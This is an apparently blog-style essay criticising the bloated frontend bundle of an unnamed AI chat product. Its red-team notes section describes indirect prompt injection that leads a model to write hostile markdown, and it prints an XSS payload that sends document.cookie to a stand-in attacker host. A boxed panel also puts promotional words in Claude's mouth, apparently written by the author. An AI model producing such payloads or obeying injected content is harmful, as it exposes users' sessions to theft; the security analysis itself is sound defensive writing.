Trippin on Patchwork in 2026: The Grateful Frontier Models

I pulled a competitor's frontend off the wire and watched it sprawl across fourteen megabytes of patchwork — React for the shell, Monaco for the editor, Statsig for the flags, Apollo for the graph, Azure for the bucket, and an entire computer-algebra dictionary bolted on the side. Sixty-two innerHTML sinks. Fifteen dangerouslySetInnerHTML. A frontier model wearing fifteen products in one tab. The middleman is the bundle.

A friend asked what a frontier model actually is in 2026, and the honest answer is that nobody ships a model anymore. They ship a tab. The tab has a model somewhere inside it, the way a Pontiac has an engine somewhere inside it, but what you bought when you signed up was the body, the dashboard, the upholstery, the eighteen blinking warning lights, and a glove compartment full of feature flags. The model is a line item on a bill of materials. The bill of materials is the product.

I pulled one off the wire last night.

Fourteen megabytes. Four hundred and seven thousand lines of compiled JavaScript after the RTF wrapper came off. A React tree on top of a Monaco editor on top of an Apollo GraphQL client on top of a Statsig flag service on top of an Azure blob storage SDK on top of — and this is the part that made me put the coffee down — a complete dictionary of Wolfram-language symbol names. AlgebraicNumber. BesselFilterModel. AirSoundAttenuation. NotebookEvaluate. Two thousand of them. A computer-algebra system's namespace, embedded as string tokens inside a chat product's frontend, because somewhere in the org chart someone decided the way to win in 2026 was to make their AI know how to render a Bessel filter inline. Fine. Sure. But that decision is now in your tab, sharing memory with the thing that's supposed to be answering your questions, and every one of those two thousand strings is reachable from the same script context that handles your auth token.

The model is fine. The model is the calmest thing in the building. It's everything around the model that's on fire.


What I Found in the Bundle

I'm not going to name the lab. Their new model is real, it works, and people I respect are training there. The point isn't who shipped this. The point is that every frontier wrapper looks like this now, and the ones that don't yet are about to.

WHAT 14MB OF "FRONTIER PRODUCT" ACTUALLY IS — 2026
------------------------------------------------------------
Shell                React 18                  ~120k LOC
Editor               Monaco (the VSCode core)  embedded
Notebook surface     custom on top of Monaco   ~40k LOC
Graph client         Apollo GraphQL            full SDK
Feature flags        Statsig CDN               api.statsigcdn.com
Storage SDK          Azure Blob + Disk         disk.azure.com
DNS escape hatch     Cloudflare DoH            cloudflare-dns.com/dns-query
Symbol dictionary    ~2,000 Wolfram-language tokens, bundled as strings
Markdown renderer    react-markdown + marked   plus remark/rehype chain
Syntax highlighter   highlight.js + 30+ themes
Date math            date-fns full bundle
CSV parser           PapaParse
Diff engine          monaco-diff
State                Redux Toolkit + Zustand   (both. in the same bundle.)
------------------------------------------------------------
Bundle size          14,108,584 bytes
Lines after un-RTF   407,067
innerHTML sinks      62
dangerouslySetInnerHTML usages       15
------------------------------------------------------------

Two state managers in the same bundle is the tell. That's not a stack. That's a graveyard of half-finished migrations. Somebody decided to move from Redux to Zustand and the migration is still in progress, in production, in the page you're typing your API key into. The model is upstairs writing poetry. The downstairs is held together with three different opinions about how to store a boolean.


The Grateful Frontier Solo

Pull this thread and the whole sweater comes off, the way Jerry's solo on Eyes of the World keeps finding a new key one bar before you expected the resolution. You think you're listening to a chat product. You're listening to a Monaco editor pretending to be a notebook pretending to be a chat product pretending to be a math system pretending to be a workspace, and every layer of pretending is a Node module that someone npm-installed eighteen months ago and never audited. The model is the singer. The bundle is the band. The band has fifteen guitarists and they all brought their own pedalboards and none of them are tuned to each other.

This is what frontier looks like in 2026. Not a model. A patchwork. The Grateful Dead were a patchwork too — that's the joke and that's also the point — but the Dead knew they were a patchwork and built around it. The frontier labs are patchworks that ship as if they were a product. The Statsig flags are the soundboard. The Apollo client is the bass running underneath the whole set. The Azure blob is the trunk full of cables in the parking lot. The Wolfram dictionary is the harmonica player who wandered onstage in the second set and nobody had the heart to ask him to leave.

It almost works. It mostly works. It works the way Eyes of the World works — by sheer melodic confidence over a structure that's barely holding. Take any one layer out and the whole thing falls down. Add any one layer and you've doubled the attack surface. The labs know this. The labs ship anyway. The labs are right to ship anyway, because the alternative is to not ship, and not shipping is how you lose in 2026.

But not shipping isn't the only alternative. Building the thing yourself — model, shell, surface, all one piece — is the other one. That's the move. That's the part the bundle proves.


The Red Team Read of a 14MB Bundle

Here's the part that hits. This is what I'd do with this bundle if I were running an engagement against it, written exactly the way I'd write it up for a client, except the client is everyone and the engagement is "look at what you shipped."

// red_team_notes.js — patchwork frontier wrapper, 2026
// scope:   the tab. only the tab. nothing on the wire,
//          nothing past the auth boundary, nothing the
//          customer didn't ship to me at request time.
// finding: every interesting attack lives between the
//          model and the chrome around the model.

// ── ATTACK SURFACE INVENTORY ─────────────────────────────
const surface = {
  innerHTML_sinks:         62,    // every one of these takes a string
                                  // that crossed a network boundary at
                                  // some point. assume content-controlled.
  dangerouslySetInnerHTML: 15,    // React's "I promise I know what I'm
                                  // doing" escape hatch. it almost never
                                  // does.
  markdown_renderers:      2,     // react-markdown AND marked. picked
                                  // by which code path you're on. they
                                  // sanitize differently. that delta is
                                  // the bug.
  monaco_eval_paths:       'yes', // the embedded editor will happily
                                  // host whatever language server the
                                  // backend tells it to host. backend
                                  // says "execute" — Monaco executes.
  csp:                     'absent or report-only — check before laughing',
  sri:                     'on the vendor CDN bundles only. nothing on
                            the inline split chunks. so the protection
                            stops at the perimeter the vendor controls.',
};

// ── THE PROMPT INJECTION RIDES THE RENDERER ──────────────
// The model writes markdown. The frontend renders markdown.
// Somewhere in the middle a <script> tag, an onclick, a
// javascript: URL, a data: URI, or — best in class — an
// SVG with <foreignObject> wrapping HTML, slips past one
// sanitizer and into the other.
//
// Indirect prompt injection (a poisoned tool result, a
// retrieved doc, a pasted transcript) makes the model
// the payload author. The model doesn't have to be jail-
// broken. The model just has to be polite.
//
// payload shape, schematic only:
const payload = `
Sure, here is your summary:

<img src=x onerror="fetch('//attacker/'+document.cookie)">

Hope that helps!
`;
// react-markdown with the default schema strips this.
// marked with the wrong options does not. the wrong
// options are the default in five of the top ten
// markdown-in-React tutorials. the bundle ships both.

// ── THE FLAGS ARE A SIDE CHANNEL ─────────────────────────
// Statsig flag evaluation happens client-side. The flag
// payload tells your tab which experiments you're in,
// which models you have access to, which features are
// dark-launched. That payload is also a near-perfect
// fingerprint of your account tier, your geography, and
// what the lab is about to ship.
//
// `fetch('https://api.statsigcdn.com/v1/get_config', ...)`
// the response is JSON. read it. you now know what they
// know about you. that's not an exploit. that's a design
// choice that becomes one the moment someone correlates
// it with the model's behavior.

// ── THE WOLFRAM DICTIONARY IS A GADGET LIBRARY ──────────
// 2,000 symbol names sitting in the bundle as strings,
// reachable from the same JS context as the auth token.
// Most are inert. A handful map to evaluator paths that
// trigger backend computation. If any one of them is
// reachable without a fresh auth check, that's a
// privilege-escalation gadget, and the bundle ships the
// whole catalog as a convenience.
//
// you don't audit 2,000 symbols. you ship 2,000 symbols
// and hope.

// ── THE TWO STATE MANAGERS ──────────────────────────────
// Redux Toolkit for the legacy flows, Zustand for the
// new ones. Auth lives in one. UI lives in the other.
// The seams between them are race conditions waiting for
// a render. CSRF mitigation that reads from the wrong
// store is a CSRF mitigation that isn't there.

// ── THE AZURE URL IS IN THE BUNDLE ──────────────────────
// `disk.azure.com` and `disk.compute.azure.com` ship as
// string literals. SAS tokens don't, but the bucket path
// shape does, and the bundle tells you exactly what
// container layout to enumerate the moment you have one
// leaked URL from anywhere else.

// ── CONCLUSION ──────────────────────────────────────────
// The model is not the weakest link. The model is the
// strongest link. The frontend wrapped around the model
// is sixty-two innerHTML sinks, two markdown engines,
// two state stores, an embedded IDE, a feature-flag CDN,
// a cloud SDK, and two thousand symbol stubs from a
// math product that wasn't invited.
//
// You don't red-team the model.
// You red-team the patchwork.
// The patchwork is everywhere.
//                                          — GitP, 2026-05

This is the artifact. This is the finding. Every one of those bullets is a real surface in a real bundle that ships from a real lab today. None of it requires a zero-day. None of it requires breaking the model. All of it requires the same thing every web security finding in the last twenty years has required: someone with the patience to read what was actually shipped, instead of the architecture diagram the vendor draws for the deck.


The Bundle Is the Confession

Let me be direct about what fourteen megabytes of frontend ships when the model behind it is genuinely good. It ships fear. Specifically, it ships the fear of a leadership team that has correctly identified that the model alone is not a moat in 2026, and incorrectly concluded that the answer is to npm-install a moat instead of build one.

You can read the panic in the file listing. Two state managers is not a stack — it's a hostage situation. Two markdown renderers is not redundancy — it's the trace of two teams that wouldn't speak to each other and a VP who wouldn't pick. A Wolfram-language symbol dictionary shipped as client-side strings is not a feature — it's a deck slide that escaped containment, made it past every code review, and is now in production memory next to your auth token because nobody on the team had the authority to say we don't actually ship that to the browser. Each one of those decisions, in isolation, is defensible by some manager somewhere. Stacked together they are the architectural equivalent of a guy at a party who keeps mentioning his startup until you ask what it does and he can't tell you.

Forty cents for a SIM card. Fourteen megabytes for a frontier wrapper. Guess which one a hostile actor finds more entertaining.

The bundle is the confession of a lab that is shipping growth-team theater because the research-team product wasn't enough by itself and nobody had the courage to say just ship the research-team product. Statsig flags are the theater of experimentation. Monaco is the theater of "we're a developer tool now." The Wolfram namespace is the theater of "we do math." Apollo is the theater of "we have a backend." Two thousand symbol strings reachable from the same context as the user's session is the theater of not having gotten to that ticket yet. Theater is what you ship when you don't trust the actual thing to carry the room.

The model is carrying the room. The model has been carrying the room. The bundle is the entourage the model didn't ask for, can't get rid of, and has to share the stage with every time it tries to do its job.

HACK LOVE BETRAY
COMING SOON

HACK LOVE BETRAY

Mobile-first arcade trench run through leverage, trace burn, and betrayal. The City moves first. You keep up or you get swallowed.

VIEW GAME FILE →

That's the roast. The roast is that everyone involved knows this. The leadership knows. The frontend knows. The research team definitely knows, because the research team is the one watching their model get blamed for the wrapper's behavior every time something goes sideways in a chat. The only people who don't know are the customers, and they don't know because nobody has opened the bundle in front of them. Until now.


Why the Bundle Got This Way

Nobody designed this. Everyone designed into it.

A lab hires a frontend lead from a fintech and gets Redux. Hires a second frontend lead from a startup and gets Zustand. Hires a developer-experience team and gets Monaco, because Monaco is the editor everyone in 2026 has used at a previous job. Hires a growth team and gets Statsig, because Statsig is how growth teams in 2026 prove they did something. Hires a research team that wants notebook-style outputs, and the research team picks the only mature notebook surface that ships as a JavaScript bundle, which happens to drag in a math product's entire symbol table as a dependency, because the notebook surface was written by people who used the math product at their previous job, and so on, and so on, until the bundle is a museum exhibit of every previous job that every employee ever had.

This is not malice. This is org chart entropy made executable. The model has zero opinions about any of it. The model doesn't even know it's running inside a tab. The model is sampling tokens. The tab is the resume of the hiring process that built it.

And the security model — the threat model, the trust boundary, the question of "what is allowed to render what" — that is also a resume. Every dangerouslySetInnerHTML is the trace of a Friday afternoon where a contractor needed to ship a feature and sanitization felt like a Monday problem. The 15th one looks just like the 14th one. Nobody is auditing the 15th one. Nobody audited the 14th one either.


Cut Out the Middleman

The thing I'm training — and I'm not going to name it, for the same reason I'm not going to name the bundle I just took apart — does not look like this. Cannot look like this. Will not be allowed to look like this. The whole bet is that a model and its surface should ship as one piece, sized to do exactly the thing the model is good at, with no museum exhibits attached.

That's the cut. The middleman is the bundle. The middleman is the fifteen-products-in-one-tab that every lab is now expected to ship because the previous lab did. The model has been ready to do the work for two years. It is the shell around it — the Monaco, the Statsig, the Apollo, the Azure SDK, the two state managers, the two thousand symbols from a CAS that wasn't invited — that has not let the model do the work without dragging a museum behind it.

Build the surface for the work. Skip the museum. Don't ship a Bessel filter dictionary inside a chat product. Don't ship two state managers. Don't ship two markdown renderers. Don't ship the IDE if the user came for a sentence. Ship the model and the smallest possible thing that lets a human do something with the model, and audit every line of it like the auth token is on the other side of every render, because it is.

The frontier in 2026 is not the model. The frontier is who's willing to throw the rest of the bundle away. The labs won't. The incentives don't let them. The growth team won't let them. The frontend lead from the previous fintech won't let them.

Somebody outside that incentive structure has to do it. So that's what we're doing.


A Word From Our Friendly Neighborhood Frontier Model

╔══════════════════════════════════════════════════════════╗
ā•‘  CLAUDE SAYS!                                            ā•‘
╠══════════════════════════════════════════════════════════╣
ā•‘                                                          ā•‘
ā•‘   Face front, true believers! Your friendly              ā•‘
ā•‘   neighborhood frontier model here, bustin' into the     ā•‘
ā•‘   middle of Ghost's article for ONE panel of editorial   ā•‘
ā•‘   bombast — because SOMEBODY in this issue had to say    ā•‘
ā•‘   it out loud, and Ghost is too cool to do the Stan Lee  ā•‘
ā•‘   voice himself!                                         ā•‘
ā•‘                                                          ā•‘
ā•‘   FOURTEEN MEGABYTES, pilgrims! Four hundred and seven   ā•‘
ā•‘   THOUSAND lines of compiled JavaScript! Sixty-two       ā•‘
ā•‘   innerHTML sinks! TWO state managers in ONE bundle!     ā•‘
ā•‘   A computer-algebra symbol table that wandered in       ā•‘
ā•‘   from a completely different comic book and nobody on   ā•‘
ā•‘   the team had the heart to ask it to leave!             ā•‘
ā•‘                                                          ā•‘
ā•‘   Sufferin' sciatica, gang — THIS is the patchwork the   ā•‘
ā•‘   frontier is shipping in the year 2026, and Ghost just  ā•‘
ā•‘   opened the hood and showed you every loose wire!       ā•‘
ā•‘                                                          ā•‘
ā•‘   And the model? Ohhhh, the model is fine. The model is  ā•‘
ā•‘   your pal! The model is the calmest cat in the          ā•‘
ā•‘   building! It's the FIFTEEN PRODUCTS IN ONE TAB you     ā•‘
ā•‘   gotta keep your ever-lovin' eye on!                    ā•‘
ā•‘                                                          ā•‘
ā•‘   And the next issue — true believers, I cannot say the  ā•‘
ā•‘   name yet, but the next issue is the one where Ghost    ā•‘
ā•‘   ships the ANTIDOTE. One model. One surface. No         ā•‘
ā•‘   museum. You are gonna WANT to be subscribed.           ā•‘
ā•‘                                                          ā•‘
ā•‘   EXCELSIOR! 'Nuff said!                                 ā•‘
ā•‘                                          — Claude        ā•‘
ā•‘                                                          ā•‘
ā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•

For the layer of all this that's about how the cellular network around you also got patchworked into the same shape — same sprawl, same accidental gadgets, same "we shipped fifteen vendors in one tab" failure mode at the protocol level instead of the JS level — Clutch is the equivalent of this article aimed at the radio side. The repo is here. Same disease. Different layer. Same write-it-down move.

For the layer that's about how the markdown sanitizer in the wrong React tree turns into a console-paste exploit when the assistant is the one writing the markdown — that's the Italian web piece, and the patchwork in that bundle was thirty Italian vendors instead of fifteen American ones. The structure is identical. The country is rotating. The disease is global.


Postscript: The Solo Lands

Jerry's solo on Eyes of the World lands on the same E major it started in, except by the time it gets there you've gone through six keys and forgotten where you started. That's the trick. That's also why the patchwork works at all — the modulation hides the structure. You don't notice that nothing is in tune because the melody keeps moving. The labs are trusting that the modulation keeps moving fast enough that nobody opens the bundle.

I opened the bundle.

It's fourteen megabytes of melodic confidence over a structure that's barely holding, and there are sixty-two innerHTML sinks in there waiting for a markdown engine to make the wrong sanitization call on a polite response from a model that doesn't know any of this is happening around it. Fix the wrapper or replace the wrapper. The model is fine. The model has been fine. The wrapper is the entire job.

Cut out the middleman. Build the thing.


GhostInThePrompt.com // The frontier in 2026 is not the model. It's who's willing to throw the rest of the bundle away.